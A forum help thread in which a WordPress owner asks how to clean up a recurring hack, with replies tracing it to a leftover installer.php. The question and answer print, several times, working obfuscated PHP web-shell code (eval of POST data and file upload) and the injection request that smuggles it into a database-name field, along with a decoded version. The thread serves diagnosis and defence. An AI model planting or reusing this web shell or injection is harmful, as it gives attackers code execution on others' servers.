Wordpress hack keeps severing database connection

Question

I have a Wordpress site that keeps severing database connection and I am not sure how to find or clean up or get rid of the root cause.

The issue is that there is this odd script that keeps popping up on the wp-config.php file. I delete it, correct the credentials, site comes back up just fine. In about a day or so- same thing happens. The database credentials are reset and this foreign script appears again.

This is the output I keep seeing after the attack:

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'test');
file_put_contents('accesson.php', '<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));if($_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);}; ?>'); /*');
file_put_contents('accesson.php', '<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));if($_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);}; ?>'); /*');

/** MySQL database username */
define('DB_USER', 'user');

/** MySQL database password */
define('DB_PASSWORD', 'taskh60J0f');

The code seems to reference accesson.php. So I looked at that file and this is the code that it has:

<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));if($_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);}; ?>

I reset the db connection again and deleted the accesson.php file from the root directory but am not 100% that this will no longer occur. My question is how do I clean this up 100%? I also want to note that I am not a developer. I know how to read code, but am not real proficient at writing it. Any help would greatly be appreciated.

You deleted what you believe to be the offending file. Has anything given you reason to believe you didn't fix the problem, or are you asking out of concern if it will come back? You may want to check out this guide: https://sucuri.net/guides/how-to-clean-hacked-wordpress. — Justin R., Oct 12 '18 at 20:06
This certainly looks line an hacking attemp. You should also consult with your hosting provider and check the access logs. — zipkundan, Oct 12 '18 at 20:31
Question...do you think that changing the write permissions to read-only on the wp-config file will prevent whatever to overwrite the current settings? — Jose-R, Oct 17 '18 at 04:21
I recently deleted all the plugins. The only one I have now is iThemes security. — Jose-R, Nov 16 '18 at 17:59

score 0 · Answer 1 · answered Jun 24 '19 at 08:16

Had the same attack on a site we have recently started hosting - repeated extra code added to config and accession.php dropped into the web root.

In our instance the cause of the problem was a file named installer.php and another file named installer-backup.php - these came with the site when we imported it.

In one of our protection plug-in threat logs we found repeated POST attempts to installer and installer-backup.php details as follows.

    "name": "POST.dbname",
        "value": "test\\');\nfile_put_contents(\\'accesson.php\\', \\'<?php echo 7457737+736723;$raPo_rZluoE=base64_decode(\\\"Y\\\".chr(109).\\\"F\\\".chr(122).chr(90).\\\"T\\\".chr(89).chr(48).chr(88).\\\"2\\\".\\\"R\\\".\\\"l\\\".\\\"Y\\\".chr(50).\\\"9\\\".chr(107).\\\"Z\\\".chr(81).\\\"=\\\".\\\"=\\\");$ydSJPtnwrSv=base64_decode(chr(89).\\\"2\\\".chr(57).chr(119).chr(101).chr(81).chr(61).\\\"=\\\");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87).\\\"Q\\\".chr(61))]));if($_POST[base64_decode(\\\"d\\\".chr(88).chr(65).\\\"=\\\")] == base64_decode(\\\"d\\\".\\\"X\\\".chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90).\\\"m\\\".\\\"l\\\".\\\"s\\\".chr(90).\\\"Q\\\".\\\"=\\\".chr(61))][base64_decode(chr(100).chr(71).chr(49).\\\"w\\\".\\\"X\\\".chr(50).\\\"5\\\".chr(104).\\\"b\\\".chr(87).\\\"U\\\".chr(61))],$_FILES[base64_decode(\\\"Z\\\".chr(109).\\\"l\\\".\\\"s\\\".chr(90).\\\"Q\\\".chr(61).chr(61))][base64_decode(chr(98).\\\"m\\\".\\\"F\\\".chr(116).\\\"Z\\\".chr(81).chr(61).\\\"=\\\")]);}; ?>\\'); \/*"

This creates the accession.php file withe the code as per the original post.

Decoding that gives:

    echo 7457737+736723;
    $raPo_rZluoE = 'base64_decode';
    $ydSJPtnwrSv = 'copy=';
    eval(base64_decode($_POST['id']));
    if($_POST['up'] == 'up'){copy($_FILES['file']['tmp_name'],$_FILES['file']['name']);}

So looks like accession.php will do what its name suggest and provide a route to copy files onto the server.

This necessitated a total wipe out and rebuild after a manual scan of the db - which did not show anything suspicious.

Nothing untoward has happened since the rebuild except someone is making many attempts to POST to no non-existent installer and installer-backup.php.

Interestingly, we have so far not seen any attempts to POST to accession.php

Wordpress hack keeps severing database connection

1 Answers1